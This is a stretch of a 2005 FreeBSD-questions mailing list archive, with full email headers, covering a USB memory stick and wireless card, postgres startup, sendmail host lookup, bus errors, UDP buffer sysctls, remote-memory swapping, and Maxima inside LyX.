"freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 20:26:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0B67516A4CE for ; Sun, 6 Feb 2005 20:26:58 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0834443D2D for ; Sun, 6 Feb 2005 20:26:57 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j16KQrA02027; Sun, 6 Feb 2005 14:26:53 -0600 (CST) (envelope-from john) Date: Sun, 6 Feb 2005 14:26:53 -0600 From: John To: grinny@hetwasietsmet.com Message-ID: <20050206142652.B1731@starfire.mn.org> References: <20050206202240.28164.qmail@web31101.mail.mud.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20050206202240.28164.qmail@web31101.mail.mud.yahoo.com>; from grinny3004@yahoo.com on Sun, Feb 06, 2005 at 12:22:40PM -0800 cc: freebsd-questions@freebsd.org Subject: Re: wireless usb not recognized X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 20:26:58 -0000 On Sun, Feb 06, 2005 at 12:22:40PM -0800, grinny wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi everybody, > > I have an "wireless steno MB112" from Apacer. This is a little usb memory stick > (512MB) and wireless lan card. Does anybody know (or knows how I can find out) > if this wireless card is supported? The card uses a 'Prism2' chipset. > When I plug it in, bsd tells me the following: > > umass0: YOUR_COMPANY YOUR_PRODUCT, rev 1.10/1.00, addr 3 > da0 at umass-sim0 bus 0 target 0 lun 0 > da0: Removable Direct Access SCSI-2 device > da0: 1.000MB/s transfers > da0: 252MB (517056 512 byte sectors: 64H 32S/T 252C) > da1 at umass-sim0 bus 0 target 0 lun 1 > da1: Removable Direct Access SCSI-2 device > da1: 1.000MB/s transfers > da1: 1MB (3776 512 byte sectors: 64H 32S/T 1C) > ugen0: vendor 0x0967 product 0x0204, rev 1.10/1.32, addr 4 > > It doesn't mention the wireless functionality, I can't seem to mount the memory > stick and ifconfig doesn't list the wireless card. > I thought FreeBSD would support the card since OpenBSD lists it as supported and > I thought the two weren't that different. So should I just switch to OpenBSD or > can I get it to work with FreeBSD? > > - - Grinny - > > ps. > > I'm a newbie on FreeBSD Don't forget that, while a memory stick could be formatted with ANYONE's filesystem format (including the FreeBSD UFS or UFS2), they are always CONVENTIONALLY formatted with a FAT filesystem. Therefore, you will need to mount them as mount -t nfs /dev/da0s1 /some-mount-point mount -t nfs /dev/da1s1 /some-other-mount-point where you've already got the directories for the mountpoints created. OK, folks - it is time to add something to the FAQ or the handbook about USB memory being formatted as FAT! I'll write something if someone will suggest the correct "location". As for the wireless - well, I haven't tried that with USB - can't help you there - except to say that the PRISM chipset is support for PCMCIA. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 20:28:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0868B16A4CE for ; Sun, 6 Feb 2005 20:28:19 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id 55F1F43D48 for ; Sun, 6 Feb 2005 20:28:18 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j16KSFk02039; Sun, 6 Feb 2005 14:28:15 -0600 (CST) (envelope-from john) Date: Sun, 6 Feb 2005 14:28:15 -0600 From: John To: grinny@hetwasietsmet.com Message-ID: <20050206142815.C1731@starfire.mn.org> References: <20050206202240.28164.qmail@web31101.mail.mud.yahoo.com> <20050206142652.B1731@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20050206142652.B1731@starfire.mn.org>; from john@starfire.mn.org on Sun, Feb 06, 2005 at 02:26:53PM -0600 cc: freebsd-questions@freebsd.org Subject: Re: wireless usb not recognized X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 20:28:19 -0000 On Sun, Feb 06, 2005 at 02:26:53PM -0600, John wrote: > On Sun, Feb 06, 2005 at 12:22:40PM -0800, grinny wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Hi everybody, > > > > I have an "wireless steno MB112" from Apacer. This is a little usb memory stick > > (512MB) and wireless lan card. Does anybody know (or knows how I can find out) > > if this wireless card is supported? The card uses a 'Prism2' chipset. > > When I plug it in, bsd tells me the following: > > > > umass0: YOUR_COMPANY YOUR_PRODUCT, rev 1.10/1.00, addr 3 > > da0 at umass-sim0 bus 0 target 0 lun 0 > > da0: Removable Direct Access SCSI-2 device > > da0: 1.000MB/s transfers > > da0: 252MB (517056 512 byte sectors: 64H 32S/T 252C) > > da1 at umass-sim0 bus 0 target 0 lun 1 > > da1: Removable Direct Access SCSI-2 device > > da1: 1.000MB/s transfers > > da1: 1MB (3776 512 byte sectors: 64H 32S/T 1C) > > ugen0: vendor 0x0967 product 0x0204, rev 1.10/1.32, addr 4 > > > > It doesn't mention the wireless functionality, I can't seem to mount the memory > > stick and ifconfig doesn't list the wireless card. > > I thought FreeBSD would support the card since OpenBSD lists it as supported and > > I thought the two weren't that different. So should I just switch to OpenBSD or > > can I get it to work with FreeBSD? > > > > - - Grinny - > > > > ps. > > > > I'm a newbie on FreeBSD > > Don't forget that, while a memory stick could be formatted with ANYONE's > filesystem format (including the FreeBSD UFS or UFS2), they are always > CONVENTIONALLY formatted with a FAT filesystem. Therefore, you will > need to mount them as > mount -t nfs /dev/da0s1 /some-mount-point > mount -t nfs /dev/da1s1 /some-other-mount-point ARGH!! I can't believe I typed that! Habit, I guess CHANGE THAT to mount -t msdos /dev/da0s1 /some-mount-point mount -t msdos /dev/da1s1 /some-other-mount-point -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 21:37:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F163C16A4CE for ; Sun, 6 Feb 2005 21:37:34 +0000 (GMT) Received: from 9.hellooperator.net (cpc3-cdif2-3-0-cust202.cdif.cable.ntl.com [81.103.32.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id A127D43D39 for ; Sun, 6 Feb 2005 21:37:34 +0000 (GMT) (envelope-from rasputnik@hellooperator.net) Received: from [10.4.0.5] (helo=eris.tenfour) by 9.hellooperator.net with esmtp (Exim 4.43) id 1Cxu5z-00064t-2c for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 21:37:31 +0000 Received: from rasputnik by eris.tenfour with local (Exim 4.44 (FreeBSD)) id 1Cxu5y-000EHF-U3 for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 21:37:30 +0000 Date: Sun, 6 Feb 2005 21:37:30 +0000 From: Dick Davies To: FreeBSD Questions Message-ID: <20050206213730.GB473@eris.tenfour> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i Subject: postgres 8 init script problem? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Dick Davies List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 21:37:35 -0000 Anyone else having problems starting postgres 8.0.1 (from ports) on RELENG_5? It seems to start alright, but clankily: root$ /usr/local/etc/rc.d/010.pgsql.sh start could not start postmaster root$ /usr/local/etc/rc.d/010.pgsql.sh status pg_ctl: postmaster is running (PID: 54846) /usr/local/bin/postgres -D /usr/local/pgsql/data -- 'You were doing well until everyone died' -- God Rasputin :: Jack of All Trades - Master of Nuns From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 21:46:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7968916A4CE for ; Sun, 6 Feb 2005 21:46:09 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id E2D1743D53 for ; Sun, 6 Feb 2005 21:46:08 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1CxuEL-00051a-0a; Sun, 06 Feb 2005 22:46:09 +0100 Date: Sun, 6 Feb 2005 22:46:06 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <4939268274.20050206224606@hexren.net> To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------10E1748AB41B143" Subject: Sendmail host lookup problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 21:46:09 -0000 ------------10E1748AB41B143 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I have a LAN in the 192.168.0 range. I am trying to send mail from 192.168.0.78 (gc-infra.steenbuck.net) to 192.168.0.29 (bettchen.steenbuck.net). This leeds to 550 errors. "Host unknown (Name server: bettchen.steenbuck.net: host not found)" 192.168.0.29 is also acting as my DNS Server. Both machines have correct (or so I hope) entries in the nameserver. I can dig their names and "dig -x" their pointers. Be aware of the fact that I am not the owner of steenbuck.net and just tell my own machines that I am because I like the name. Interestingly adding "192.168.0.29 bettchen bettchen.steenbuck.net" to /etc/hosts solves my problem. I sniffed the network and gc-infra does the same in both cases. It asks DNS for the IP of bettchen and gets it. Only when bettchen is in /etc/hosts it then sends the mail otherwise not. I've googled around a bit and searched the list and found similiar problems: http://lists.freebsd.org/pipermail/freebsd-questions/2004-December/068127.html Only I do not have any kind if W2K in my LAN. And the DNS server is FreeBSD (BIND). I am lost. Has anybody an idea how I can investigate further into my problem. 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(GMT) (envelope-from mbsd@pacbell.net) Received: from sotec.home (adsl-64-168-27-117.dsl.snfc21.pacbell.net [64.168.27.117])j16LlovF011353; Sun, 6 Feb 2005 16:47:50 -0500 Date: Sun, 6 Feb 2005 13:47:49 -0800 (PST) From: =?ISO-8859-1?Q?Mikko_Ty=F6l=E4j=E4rvi?= X-X-Sender: mikko@sotec.home To: Tom Parquette In-Reply-To: <42065CFA.6080909@twcny.rr.com> Message-ID: <20050206134052.B11986@sotec.home> References: <42065CFA.6080909@twcny.rr.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed cc: "freebsd-questions@freebsd.org" Subject: Re: "Bus errors" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 21:47:52 -0000 On Sun, 6 Feb 2005, Tom Parquette wrote: > Hi. > I'm running 5.3-R with a custom kernel on a dual processor athlon. > I've recently started getting "Bus error" showing up as a reason for various > failures. e.g. setiathome, make buildworld. > I've also gotten some panics (there are only about 5 messages that didn't > tell me anything and (sorry) I did not write them down. I'm waiting for that > to happen again. > I've also seen some hangs where the screen saver (the blue rain one) hangs. > For the hangs and panics I've only been able to get out of them with the > hardware reset button. > > I've done some searching on "bus error" but it does not seem to apply. I only > found entries talking about software interface problems. > > I'm starting to wonder if I have a hardware problem with this machine since > it only seemed to start when I put a heavier load on it (e.g. setiathome) > and the strange symptoms seem to be showing up in multiple places. The symptoms are typical of hardware problems. Could be bad memory, overly optimistic memory timings or CPU overheating. As you run setiathome, the latter would be my first guess. Try installing sysutils/xmbmon to keep an eye on the temperature of your CPUs. My Athlon 3200+ tends to fall over on its face when running setiathome on a hot summer's day, and there is no way I'm going to put even more loud fans in that box... $.02, /Mikko From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 21:53:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9171D16A4CE for ; Sun, 6 Feb 2005 21:53:20 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2D54543D31 for ; Sun, 6 Feb 2005 21:53:20 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 35F6B51297; Sun, 6 Feb 2005 13:53:19 -0800 (PST) Date: Sun, 6 Feb 2005 13:53:19 -0800 From: Kris Kennaway To: "Michael R. Hines" Message-ID: <20050206215319.GA50607@xor.obsecurity.org> References: <6.2.0.14.2.20050206075404.033686e8@garnet.acns.fsu.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SUOF0GtieIMvvwua" Content-Disposition: inline In-Reply-To: <6.2.0.14.2.20050206075404.033686e8@garnet.acns.fsu.edu> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: where is net.inet.udp.sendspace? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 21:53:20 -0000 --SUOF0GtieIMvvwua Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Feb 06, 2005 at 07:54:15AM -0500, Michael R. Hines wrote: >=20 > On my 5.3-RELEASE system, sysctl -a | grep net | grep space gives: >=20 > net.local.stream.sendspace: 8192 > net.local.stream.recvspace: 8192 > net.local.dgram.recvspace: 4096 > net.inet.tcp.sendspace: 32768 > net.inet.tcp.recvspace: 65536 > net.inet.udp.recvspace: 42080 > net.inet.raw.recvspace: 8192 >=20 > Where is udp.sendspace? >=20 > I'm having some UDP "No buffer space available" problems, but the precise= =20 > sysctl variable corresponding to the problem doesn't seem to exist. >=20 > Anyone else have this mysterious problem? UDP is not buffered in the kernel like TCP is, so a sendspace sysctl is not possible. When the interface queue becomes full (i.e. you are sending data to the interface at a greater rate than it can put it on the wire), you will see this error message, and your application needs to be able to handle it. Kris --SUOF0GtieIMvvwua Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCBpHOWry0BWjoQKURAvGoAJ97IX3JRBfPHRpTxgzuvE1bU/9zRgCg2TKL GKNMJiar+MIz6y+6Ti6iOdU= =BQ3a -----END PGP SIGNATURE----- --SUOF0GtieIMvvwua-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:11:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D2A7516A4CE for ; Sun, 6 Feb 2005 22:11:48 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9A05243D48 for ; Sun, 6 Feb 2005 22:11:48 +0000 (GMT) (envelope-from mhines@cs.fsu.edu) Received: from beethoven.cs.fsu.edu (pcp09078029pcs.mkethn01.fl.comcast.net[69.240.101.248]) by comcast.net (rwcrmhc11) with SMTP id <2005020622114601300k568ve>; Sun, 6 Feb 2005 22:11:48 +0000 Message-Id: <6.2.0.14.2.20050206165241.03375a30@mail.cs.fsu.edu> X-Mailer: QUALCOMM Windows Eudora Version 6.2.0.14 Date: Sun, 06 Feb 2005 17:11:48 -0500 To: Nagilum From: "Michael R. Hines" In-Reply-To: <420620DE.90007@nagilum.org> References: <420620DE.90007@nagilum.org> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable cc: freebsd-questions@freebsd.org Subject: Re: increasing swap activity X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:11:49 -0000 Ok....Here's the system's design: What I have created is a 3-part distributed memory system: 1. a client machine setup as a diskless client has a page fault or wants to= =20 swap out a page. The request goes through NFS to a machine. 2. The machine that receives the request is a linux machine running a=20 kernel module. The module does the following: - acts as a purely in-memory NFS server - parses and interprets the RPC/NFS packet - re-schedules the request (and it's transmitted page data) to=20 ANOTHER machine which either holds the requested page or stores the swapped= =20 out page 3. This third machine is also a linux machine running a second kernel=20 module that acts as pure memory storage. It answers the 2nd machine's=20 request by sending back the data or storing the data and alerts the second= =20 machine. 4. finally, the second machine creates and NFS/RPC reply to send back to=20 the client machine, and it can continue processing. So you're prolly asking yourself: Why in the world would someone do=20 something this crazy? Well: - The system only operates within a gigabit-switched cluster of machines. - The system is supposed to scale: i.e. LOTS of client machines, one single= =20 second machine (which I call an engine) and LOTS of 3rd machines, called=20 backend-servers. - All of this is multiplexed and demultiplexed by one central engine. - It creates a pool of memory that is virtualized by the engine. i.e. any=20 client page could be stored on any back-end server machine at any time. - There are no disks whatsoever involved in the whole processes. Disk-swap page-fault latencies range between: 7 to 11 milliseconds My system?: 650 MICROseconds =3D) So, the system isn't the bottle-neck. It's the FreeBSD machine's swapper,=20 which is being used a client. So, I'd like to drastically boost the activity of the FreeBSD swapper. Make sense? At 08:51 AM 2/6/2005, Nagilum wrote: >Michael Hines wrote: > >> >>I've written a remote-memory system for a thesis of mine. As a result,=20 >>I'm able to setup a diskless client that swaps to remote memory instead=20 >>of a remote disk. The specifics, reasons, and design of the system are a= =20 >>long story.... >> >>However - this system allows for much faster page-fault latencies (on the= =20 >>order of 10-20 times faster than using a disk for swap space). The=20 >>problem is: I cannot get the swapper to page-out or page-in data any= faster. >> >>My end question is: how would one DRASTICALLY increase the rate at which= =20 >>the system does its paging in freebsd? >> >>Everthing I find on the net says "don't mess with freebsd's VM system or= =20 >>you'll die and go to hell." >> >>However, I do in fact need to drastically increase the paging bandwidth. >> >>Anybody know how? Preferably during runtime? >> >>Thanks a lot. >> >>/*********************************/ >>Michael R. Hines >>Grad Student, Florida State >>Dept. Computer Science >>http://www.cs.fsu.edu/~mhines/ >>Jusqu'a ce que le futur vienne... >>/*********************************/ > > >I think the first thing to do is determine the bottleneck you're fighting. >Maybe using several machines as swap-slaves would help? (the swapspace=20 >will be used interleaved) >Also it would help to explain a bit more what you have done so far. Have=20 >you written your own swapfs? >Kind regards, >Alex. > >_______________________________________________ >freebsd-questions@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-questions >To unsubscribe, send any mail to= "freebsd-questions-unsubscribe@freebsd.org" /*********************************/ Michael R. Hines Grad Student, Florida State Dept. Computer Science http://www.cs.fsu.edu/~mhines/ Jusqu'=E0 ce que le futur vienne... /*********************************/ From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:15:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9D5B316A4CE for ; Sun, 6 Feb 2005 22:15:27 +0000 (GMT) Received: from smtp-vbr13.xs4all.nl (smtp-vbr13.xs4all.nl [194.109.24.33]) by mx1.FreeBSD.org (Postfix) with ESMTP id 04ACE43D3F for ; Sun, 6 Feb 2005 22:15:27 +0000 (GMT) (envelope-from maarfree@xs4all.nl) Received: from webmail.xs4all.nl (webmail13.xs4all.nl [194.109.22.173]) j16MFPuw061561 for ; Sun, 6 Feb 2005 23:15:25 +0100 (CET) (envelope-from maarfree@xs4all.nl) Received: from 80.127.55.226 by webmail.xs4all.nl with HTTP; Sun, 6 Feb 2005 23:18:28 +0100 (CET) Message-ID: <6123.80.127.55.226.1107728308.squirrel@80.127.55.226> Date: Sun, 6 Feb 2005 23:18:28 +0100 (CET) From: "Maarten" To: freebsd-questions@freebsd.org User-Agent: SquirrelMail/1.4.3a X-Mailer: SquirrelMail/1.4.3a MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Virus-Scanned: by XS4ALL Virus Scanner Subject: Working with Maxima from inside Lyx broken? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: maarfree@xs4all.nl List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:15:27 -0000 Hello list, On my office linux box I have lyx working nicely with maxima. I installed Maxima and Lyx on my home Freebsd box but there it does not work... In the shell from which I start Lyx I see: $ lyx use equation inset use cell: [char i mathalpha][char n mathalpha][char t mathalpha][char e mathalpha][char g mathalpha][char r mathalpha][char a mathalpha][char t mathalpha][char e mathalpha][delim ( ) [frac [char x mathalpha] [char 1 mathalpha][char + mathalpha][sup [char x mathalpha] [char 3 mathalpha]]][char + mathalpha][char 1 mathalpha][char , mathalpha][char x mathalpha]] checking expr: 'integrate(( x )/(1 + x ^(3)) + 1,x)' calling: echo 'SIMPSUM:true;tex(integrate(( x )/(1 + x ^(3)) + 1,x));' | maxima In the document only an = appears after te equation. When I do the echo part manually (in a terminal) I get: $ echo 'SIMPSUM:true;tex(integrate(( x )/(1 + x ^(3)) + 1,x));' | maxima GCL (GNU Common Lisp) 2.6.5 CLtL1 Feb 4 2005 18:22:30 Source License: LGPL(gcl,gmp), GPL(unexec,bfd) Binary License: GPL due to GPL'ed components: (READLINE UNEXEC) Modifications of this banner must retain notice of a compatible license Dedicated to the memory of W. Schelter Use (help) to get some basic information on how to use GCL. Error: Cannot open the file . Fast links are on: do (si::use-fast-links nil) for debugging Error signalled by LISP:IF. Broken at LOAD. Type :H for Help. MAXIMA>> Error: There is no package with the name SIMPSUM. Fast links are on: do (si::use-fast-links nil) for debugging Error signalled by LOAD. Backtrace: SYSTEM:UNIVERSAL-ERROR-HANDLER Broken at LOAD. MAXIMA>>$ Does anyone have an idea on where to start looking for the solution to get at least the example at http://maxima.sourceforge.net/lyx+maxima.lyx working? Thanks, Maarten FreeBSD maarten.lan 5.3-RELEASE FreeBSD 5.3-RELEASE #0: Fri Nov 5 04:19:18 UTC 2004 root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:16:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D573616A4CE for ; Sun, 6 Feb 2005 22:16:09 +0000 (GMT) Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id AFAA643D1F for ; Sun, 6 Feb 2005 22:16:09 +0000 (GMT) (envelope-from mhines@cs.fsu.edu) Received: from beethoven.cs.fsu.edu (pcp09078029pcs.mkethn01.fl.comcast.net[69.240.101.248]) by comcast.net (rwcrmhc12) with SMTP id <20050206221608014003ddqee>; Sun, 6 Feb 2005 22:16:09 +0000 Message-Id: <6.2.0.14.2.20050206171551.033d9bd8@mail.cs.fsu.edu> X-Mailer: QUALCOMM Windows Eudora Version 6.2.0.14 Date: Sun, 06 Feb 2005 17:16:08 -0500 To: freebsd-questions@freebsd.org From: "Michael R. Hines" Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Subject: Re: where is net.inet.udp.sendspace? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:16:09 -0000 I see. I'll modify the application. Is there also a way of controlling the kernel's UDP buffer queue - the=20 queue used to store user-space packets before they're put on the link? I've seen other mailing lists through searching where users listed the=20 existence of a "udp.sendspace". Where those just patched or altered FreeBSD= =20 versions? Thanks for your reply, - Michael At 04:53 PM 2/6/2005, you wrote: >On Sun, Feb 06, 2005 at 07:54:15AM -0500, Michael R. Hines wrote: > > > > On my 5.3-RELEASE system, sysctl -a | grep net | grep space gives: > > > > net.local.stream.sendspace: 8192 > > net.local.stream.recvspace: 8192 > > net.local.dgram.recvspace: 4096 > > net.inet.tcp.sendspace: 32768 > > net.inet.tcp.recvspace: 65536 > > net.inet.udp.recvspace: 42080 > > net.inet.raw.recvspace: 8192 > > > > Where is udp.sendspace? > > > > I'm having some UDP "No buffer space available" problems, but the= precise > > sysctl variable corresponding to the problem doesn't seem to exist. > > > > Anyone else have this mysterious problem? > >UDP is not buffered in the kernel like TCP is, so a sendspace sysctl >is not possible. When the interface queue becomes full (i.e. you are >sending data to the interface at a greater rate than it can put it on >the wire), you will see this error message, and your application needs >to be able to handle it. > >Kris /*********************************/ Michael R. Hines Grad Student, Florida State Dept. Computer Science http://www.cs.fsu.edu/~mhines/ Jusqu'=E0 ce que le futur vienne... /*********************************/ From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:20:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A618116A4CF for ; Sun, 6 Feb 2005 22:20:01 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6677043D1F for ; Sun, 6 Feb 2005 22:20:01 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5EF5D51255; Sun, 6 Feb 2005 14:20:00 -0800 (PST) Date: Sun, 6 Feb 2005 14:20:00 -0800 From: Kris Kennaway To: "Michael R. Hines" Message-ID: <20050206222000.GA66606@xor.obsecurity.org> References: <6.2.0.14.2.20050206171551.033d9bd8@mail.cs.fsu.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="x+6KMIRAuhnl3hBn" Content-Disposition: inline In-Reply-To: <6.2.0.14.2.20050206171551.033d9bd8@mail.cs.fsu.edu> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: where is net.inet.udp.sendspace? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 22:20:01 -0000 --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Feb 06, 2005 at 05:16:08PM -0500, Michael R. Hines wrote: >=20 > I see. I'll modify the application. >=20 > Is there also a way of controlling the kernel's UDP buffer queue - the=20 > queue used to store user-space packets before they're put on the link? AFAIK they're queued directly to the interface, as I said. > I've seen other mailing lists through searching where users listed the=20 > existence of a "udp.sendspace". Where those just patched or altered FreeB= SD=20 > versions? I don't know, you should check the CVS history. Kris --x+6KMIRAuhnl3hBn Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCBpgPWry0BWjoQKURAr9uAKDdUecxght893qfh5LQ46Haf2DEEgCfU2k+ oITYshAvNDGc1rLfu60OC6w= =RbKR -----END PGP SIGNATURE----- --x+6KMIRAuhnl3hBn-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 22:20:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6C1A616A4DE for ; Sun, 6 Feb 2005 22:20:34 +0000 (GMT) Received: from smtp811.mail.sc5.yahoo.com (smtp811.mail.sc5.yahoo.com [66.163.170.81]) by mx1.FreeBSD.org (Postfix) with SMTP id 4FF5443D4C for ; Sun, 6 Feb 2005 22:20:25 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp811.mail.sc5.yahoo.com with SMTP; 6 Feb 2005 22:20:24 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 14:20:23 -0800 User-Agent: KMail/1.7.2 References: <1574286459.20050205120828@wanadoo.fr> <675747489.20050206154301@wanadoo.fr> 